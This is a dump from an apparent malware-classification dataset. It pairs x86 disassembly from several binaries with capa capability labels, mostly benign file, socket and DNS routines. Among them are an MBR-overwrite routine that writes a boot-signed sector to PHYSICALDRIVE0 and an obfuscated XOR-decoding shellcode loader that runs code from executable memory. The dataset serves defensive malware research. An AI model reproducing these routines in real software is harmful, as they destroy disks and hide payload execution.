joyce8/EMBER2024-capa huggingface dataset:
Function at 0x492f56
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc34
mov eax, dword [0x5770a4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0xc2c], ecx
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x800
push 0
lea eax, [ebp - 0xc28]
push eax
call fcn.004b0090
add esp, 0xc
push dword [ebp + 8]
push 0x400
lea eax, [ebp - 0xc28]
push eax
push 0x52ef28
push 0x52ef2c
push 0x52ef00
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xa
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc28]
push eax
mov ecx, dword [ebp - 0xc2c]
call fcn.0049311a
push 2
pop eax
imul eax, eax, 0
movzx eax, word [ebp + eax - 0x18]
cmp eax, 0x31
jne 0x492ff8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [ebp - 0xc2c]
call fcn.00492579
jmp 0x49310b
push 0x208
push 0
lea eax, [ebp - 0x428]
push eax
call fcn.004b0090
add esp, 0xc
push dword [ebp + 8]
push 0x104
lea eax, [ebp - 0x428]
push eax
push 0
push 0x52ef58
push str.DefaultValue
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x208
push 0
lea eax, [ebp - 0x220]
push eax
call fcn.004b0090
add esp, 0xc
push 0x104
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x428]
push eax
mov ecx, dword [ebp - 0xc2c]
call fcn.004926d2
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp - 0xc2c]
call fcn.00492bb7
test eax, eax
je 0x493099
push dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
mov ecx, dword [ebp - 0xc2c]
call fcn.00492579
jmp 0x49310b
and dword [ebp - 0xc34], 0
cmp dword [ebp + 0x10], 0
je 0x49310b
cmp dword [ebp + 0x14], 0
jle 0x49310b
lea eax, [ebp - 0x220]
test eax, eax
je 0x49310b
and dword [ebp - 0xc30], 0
lea eax, [ebp - 0x220]
test eax, eax
je 0x4930e3
lea eax, [ebp - 0x220]
push eax
call fcn.004cc4f3
pop ecx
cmp eax, dword [ebp + 0x14]
jae 0x4930e3
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
je 0x49310b
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.004cc3b7
add esp, 0xc
mov dword [ebp - 0xc34], 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ad99f
leave
ret 0x10
Function at 0x49325d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52ae70
mov eax, dword fs:[0]
push eax
push ecx
push ecx
mov eax, dword [0x5770a4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x10
call fcn.0040b2fe
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
add eax, 0x30
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
call fcn.00493f74
mov byte [ebp - 4], 1
mov byte [ebp - 4], 2
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x10]
and dword [eax + 0x2c], 0
mov eax, dword [ebp - 0x10]
and dword [eax], 0
mov eax, dword [ebp - 0x10]
and dword [eax + 8], 0
and dword [eax + 0xc], 0
mov eax, dword [ebp - 0x10]
and dword [eax + 0x28], 0
mov eax, dword [ebp - 0x10]
and dword [eax + 0x38], 0
mov ecx, dword [ebp - 0x10]
call fcn.00493cdd
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x3c], al
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
leave
ret

Function at 0x493cdd
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b0df
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x5770a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x6c], ecx
lea ecx, [ebp - 0x28]
call fcn.0040b2fe
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.004822ed
pop ecx
push str.TCLSCoreConfig.ini
lea ecx, [ebp - 0x40]
call fcn.00409053
mov byte [ebp - 4], 1
push 0x5c
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00481988
add esp, 0x10
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 2
push dword [ebp - 0x64]
lea ecx, [ebp - 0x28]
call fcn.0041dc17
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x58]
call fcn.0040a62b
mov byte [ebp - 4], 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0x58]
mov dword [ebp - 0x70], eax
mov byte [ebp - 4], 5
mov byte [ebp - 4], 6
mov byte [ebp - 4], 1
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x40]
call fcn.0040a62b
mov byte [ebp - 4], 8
mov byte [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 9
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.0040a5f1
mov dword [ebp - 0x68], eax
push dword [ebp - 0x68]
push 1
push str.Enable
push 0x5420c4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
je 0x493dd3
mov byte [ebp - 0x59], 1
jmp 0x493dd7
mov byte [ebp - 0x59], 0
mov al, byte [ebp - 0x59]
mov byte [ebp - 0x5a], al
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
call fcn.0040a62b
mov dword [ebp - 4], 0xc
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x28]
mov dword [ebp - 0x78], eax
mov dword [ebp - 4], 0xd
mov dword [ebp - 4], 0xe
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x5a]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004ad99f
leave
ret
Function at 0x4e9dcf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e99d4

Function at 0x4ef8eb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ef0cf

Function at 0x4ef8f6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ef30a

Function at 0x4efd1c
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004efb10

Function at 0x4fb100
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
mov eax, dword [esp + 8]
mov eax, dword [eax + 4]
dec eax
cmp eax, 6
ja case.0x4fb10d.4
jmp dword [eax*4 + 0x4fb18c]
jmp 0x4fbab0
jmp 0x4fbaa0
push str.type
push dword [esp + 8]
call fcn.004faab0
add esp, 8
test eax, eax
je 0x4fb17a
push esi
push edi
lea edi, [eax + 0x20]
mov esi, 0x580cc0
nop dword [eax]
mov ecx, dword [esi]
mov eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4fb164
test dl, dl
je 0x4fb160
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4fb164
add ecx, 2
add eax, 2
test dl, dl
jne 0x4fb144
xor eax, eax
jmp 0x4fb169
sbb eax, eax
or eax, 1
test eax, eax
je 0x4fb178
add esi, 8
cmp esi, 0x580ce8
jl 0x4fb140
pop edi
pop esi
push 1
call fcn.004fbac0
add esp, 4
ret
or eax, 0xffffffff
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
ret
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
ret
Function at 0x4fb1c0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
jmp 0x4fbad0
sub esp, 0x110
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
mov ebp, dword [esp + 0x11c]
push esi
mov esi, dword [esp + 0x128]
push edi
mov edi, dword [esp + 0x120]
test esi, esi
je 0x4fbb8a
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 1
push ebx
lea ebx, [esp + 0x10]
cmp esi, 0xffffffff
jne 0x4fbb1e
xor ebx, ebx
jmp 0x4fbb47
mov eax, 0x10624dd3
mov ecx, esi
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
imul eax, eax, 0x3e8
sub ecx, eax
imul eax, ecx, 0x3e8
mov dword [esp + 0x14], eax
push ebx
push 0
push 0
lea eax, [esp + 0x24]
push eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
pop ebx
test eax, eax
jns 0x4fbb88
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x4fbbe5
pop edi
pop esi
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
je 0x4fbbe5
push 0
push dword [esp + 0x12c]
push ebp
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jns 0x4fbbff
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x4fbbd4
call edi
cmp eax, 0x2733
je 0x4fbbd4
pop edi
pop esi
mov eax, 0xfffffffe
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test esi, esi
je 0x4fbbe5
push 0x186a0
call fcn.004fe5c0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test eax, eax
mov ecx, 0xfffffffd
pop edi
cmove eax, ecx
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
Function at 0x4fb1e0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
jmp 0x4fbd80
sub esp, 0x110
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
mov ebp, dword [esp + 0x11c]
push esi
mov esi, dword [esp + 0x128]
push edi
mov edi, dword [esp + 0x120]
test esi, esi
je 0x4fbe29
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 1
push ebx
lea ebx, [esp + 0x10]
cmp esi, 0xffffffff
jne 0x4fbdca
xor ebx, ebx
jmp 0x4fbdf3
mov eax, 0x10624dd3
mov ecx, esi
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
imul eax, eax, 0x3e8
sub ecx, eax
imul eax, ecx, 0x3e8
mov dword [esp + 0x14], eax
push ebx
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
pop ebx
test eax, eax
jns 0x4fbe27
pop edi
pop esi
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
je 0x4fbe84
push 0
push dword [esp + 0x12c]
push ebp
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x4fbe9e
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x4fbe73
call edi
cmp eax, 0x2733
je 0x4fbe73
pop edi
pop esi
mov eax, 0xfffffffe
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test esi, esi
je 0x4fbe84
push 0x30d40
call fcn.004fe5c0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test eax, eax
mov ecx, 0xfffffffd
pop edi
cmove eax, ecx
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
Function at 0x4fb230
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x84
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x80], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x94]
mov eax, 2
push edi
push 0x3a
movups xmmword [ebp], xmm0
push esi
mov word [ebp], ax
call fcn.004b2a90
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4fb2ba
mov edi, ebx
sub edi, esi
cmp edi, 0x80
jge 0x4fb332
push edi
lea eax, [esp + 0x14]
push esi
push eax
call fcn.004af590
add esp, 0xc
cmp edi, 0x80
jae 0x4fb36b
mov byte [esp + edi + 0x10], 0
add ebx, 1
je 0x4fb2e4
push ebx
call fcn.004ceba1
add esp, 4
movzx eax, ax
jmp 0x4fb2e6
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4fb2c0
sub ecx, edx
cmp ecx, 0x80
jae 0x4fb332
lea ecx, [esp + 0x10]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4fb2d7
xor eax, eax
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp + 2], ax
lea eax, [esp + 0x10]
push str.1234567890.
push eax
call fcn.0050aa60
lea ecx, [esp + 0x18]
add esp, 8
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4fb310
sub ecx, esi
cmp edx, ecx
jne 0x4fb34e
lea eax, [ebp + 4]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.004fb3d0
add esp, 8
test eax, eax
jne 0x4fb367
or eax, 0xffffffff
mov ecx, dword [esp + 0x90]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004ad99f
add esp, 0x84
ret
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4fb332
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp + 4], eax
xor eax, eax
jmp 0x4fb335
call fcn.004adf6c
int3

Function at 0x4fb870
Capabilities:
Connect socket
Get socket status

Disassembly:
sub esp, 0x214
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x210], eax
mov eax, dword [esp + 0x21c]
push edi
push dword [esp + 0x224]
mov edi, dword [esp + 0x220]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4fb972
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2748
je 0x4fb972
cmp eax, 0x2733
je 0x4fb8cd
cmp eax, 0x2735
jne 0x4fb959
push esi
mov esi, dword [esp + 0x22c]
mov eax, 0x10624dd3
imul esi
mov ecx, esi
mov dword [esp + 0x118], edi
sar edx, 6
mov eax, edx
mov dword [esp + 0x114], 1
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x14], edi
mov dword [esp + 8], eax
imul eax, eax, 0x3e8
mov dword [esp + 0x10], 1
sub ecx, eax
imul eax, ecx, 0x3e8
cmp esi, 0xffffffff
pop esi
mov dword [esp + 8], eax
lea eax, [edi + 1]
jne 0x4fb929
push 0
jmp 0x4fb92e
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x118]
push ecx
push 0
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
js 0x4fb959
je 0x4fb959
lea eax, [esp + 0xc]
push eax
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4fb972
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004ad99f
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
xor eax, eax
pop edi
xor ecx, esp
call fcn.004ad99f
add esp, 0x214
ret
Function at 0x4fba00
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x190], eax
movzx ecx, byte [esp + 0x19c]
lea eax, [esp]
push eax
movzx eax, byte [esp + 0x19c]
shl cx, 8
or cx, ax
movzx eax, cx
push eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.004ad99f
add esp, 0x194
ret

Function at 0x4fbad0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
jmp 0x4fbad0
sub esp, 0x110
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
mov ebp, dword [esp + 0x11c]
push esi
mov esi, dword [esp + 0x128]
push edi
mov edi, dword [esp + 0x120]
test esi, esi
je 0x4fbb8a
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 1
push ebx
lea ebx, [esp + 0x10]
cmp esi, 0xffffffff
jne 0x4fbb1e
xor ebx, ebx
jmp 0x4fbb47
mov eax, 0x10624dd3
mov ecx, esi
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
imul eax, eax, 0x3e8
sub ecx, eax
imul eax, ecx, 0x3e8
mov dword [esp + 0x14], eax
push ebx
push 0
push 0
lea eax, [esp + 0x24]
push eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
pop ebx
test eax, eax
jns 0x4fbb88
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x4fbbe5
pop edi
pop esi
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
je 0x4fbbe5
push 0
push dword [esp + 0x12c]
push ebp
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jns 0x4fbbff
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x4fbbd4
call edi
cmp eax, 0x2733
je 0x4fbbd4
pop edi
pop esi
mov eax, 0xfffffffe
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test esi, esi
je 0x4fbbe5
push 0x186a0
call fcn.004fe5c0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test eax, eax
mov ecx, 0xfffffffd
pop edi
cmove eax, ecx
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
Function at 0x4fbd80
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
jmp 0x4fbd80
sub esp, 0x110
mov eax, dword [0x5770a4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebp
mov ebp, dword [esp + 0x11c]
push esi
mov esi, dword [esp + 0x128]
push edi
mov edi, dword [esp + 0x120]
test esi, esi
je 0x4fbe29
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 1
push ebx
lea ebx, [esp + 0x10]
cmp esi, 0xffffffff
jne 0x4fbdca
xor ebx, ebx
jmp 0x4fbdf3
mov eax, 0x10624dd3
mov ecx, esi
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
imul eax, eax, 0x3e8
sub ecx, eax
imul eax, ecx, 0x3e8
mov dword [esp + 0x14], eax
push ebx
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
pop ebx
test eax, eax
jns 0x4fbe27
pop edi
pop esi
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
je 0x4fbe84
push 0
push dword [esp + 0x12c]
push ebp
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x4fbe9e
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x4fbe73
call edi
cmp eax, 0x2733
je 0x4fbe73
pop edi
pop esi
mov eax, 0xfffffffe
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test esi, esi
je 0x4fbe84
push 0x30d40
call fcn.004fe5c0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret
test eax, eax
mov ecx, 0xfffffffd
pop edi
cmove eax, ecx
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
xor ecx, esp
call fcn.004ad99f
add esp, 0x110
ret

Function at 0x4fc080
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0x8004667e
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
call sub.MSVCR90.dll_memset
mov ecx, 0x100
mov esi, 0x402108
lea edi, [ebp - 0x804]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
mov ecx, 0xff
lea esi, [ebp - 0x804]
lea edi, [ebp - 0x404]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
movsw word es:[edi], word [esi]
push 3
push 0xc0000000
movsb byte es:[edi], byte [esi]
push str..PHYSICALDRIVE0
mov byte [ebp - 0x206], 0x55
mov byte [ebp - 0x205], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [ebp - 0x808]
push ecx
push 0x400
lea edx, [ebp - 0x404]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004010c8
mov esp, ebp
pop ebp
ret

Function at 0x4010c8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4010d2
repz ret
jmp fcn.00401383

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40a60b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40a61a
pop dword [ebp - 0x14]
mov eax, 0x7c13be61
add eax, 0x842ce7b9
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xd3f6e807
sub dword [ebp - 0x24], 0x85a4a2bc
mov dword [ebp - 0x20], 0x8c56e6e3
sub dword [ebp - 0x20], 0x5a239a9e
mov dword [ebp - 0x1c], 0xdb65669b
sub dword [ebp - 0x1c], 0x8f19226d
mov dword [ebp - 0x18], 0xe747338a
add dword [ebp - 0x18], 0x18b8cc76
lea eax, [ebp - 0x24]
push eax
mov eax, 0xbeb659fe
add eax, 0x418a7656
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa1dae9ce
sub dword [ebp - 0x24], 0x2d688078
mov dword [ebp - 0x20], 0xd56a403b
add dword [ebp - 0x20], 0x6c02213a
mov dword [ebp - 0x1c], 0x74f25721
add dword [ebp - 0x1c], 0xee7d154b
mov dword [ebp - 0x18], 0x6cb7c687
sub dword [ebp - 0x18], 0x6cb7c687
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x21b21c6c
add eax, 0xde8eb3e0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3b340
push 0
call eax
mov ecx, 0xf81ffe1e
sub ecx, 0xf81fb0c9
mov edi, eax
mov esi, 0x5e5d8d7
add esi, 0xfa5bd729
add esi, dword [ebp - 0x14]
mov ebx, 0xf573bcc9
sub ebx, 0x9311048e
add dword [ebp - 8], eax
mov edx, dword [esi]
add dword [ebp - 8], 0xdf16b83a
xor edx, ebx
xor dword [ebp - 0x10], 0x11d408d5
mov dword [edi], edx
sub dword [ebp - 0x10], ebx
add edi, 0x7b0caeaf
add edi, 0x84f35155
add esi, 0x5d398147
sub esi, 0x5d398143
loop 0x40a73c
add eax, 0x3cd34c0e
sub eax, 0x3cd223e7
mov ebx, eax
add eax, 0xb528c49b
add eax, 0x4ad73b6a
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10001740
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18
mov dword [ebp - 0x10], 0x1000
mov dword [esp], 0x1000
call dword [sym.imp.ucrtbase.dll_malloc]
mov edi, eax
test eax, eax
je 0x100017e0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], edi
mov esi, dword [sym.imp.iphlpapi.dll_GetAdaptersAddresses]
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], 0
call esi
sub esp, 0x14
cmp eax, 0x6f
jne 0x100017dc
lea esi, [esi]
mov eax, dword [ebp - 0x10]
mov dword [esp], edi
mov ebx, edi
mov dword [esp + 4], eax
call dword [sym.imp.ucrtbase.dll_realloc]
mov edi, eax
test eax, eax
je 0x100017ea
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], 0
call esi
sub esp, 0x14
cmp eax, 0x6f
je 0x10001798
test eax, eax
jne 0x100017ec
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, ebx
mov dword [esp], edi
xor edi, edi
call dword [sym.imp.ucrtbase.dll_free]
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x10001890
Capabilities:
Get disk size

Disassembly:
push edi
lea edi, [esp + 8]
and esp, 0xfffffff8
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
xor eax, eax
push ebx
mov ebx, edx
sub esp, 0x6c
mov word [ebp - 0x3a], ax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x46], 0x5c005c
mov dword [ebp - 0x42], 0x5c002e
mov dword [ebp - 0x3e], 0x3a0041
mov dword [ebp - 0x50], 0x20000000
mov dword [ebp - 0x4c], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
movzx eax, word [esi]
sub esp, 0x10
mov word [ebp - 0x3e], ax
lea eax, [ebp - 0x46]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_CreateFileW]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x10001993
mov esi, eax
lea eax, [ebp - 0x54]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x38]
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x700a0
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_DeviceIoControl]
sub esp, 0x20
test eax, eax
jne 0x100019a8
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov dword [ebx + 4], edx
jmp 0x10001987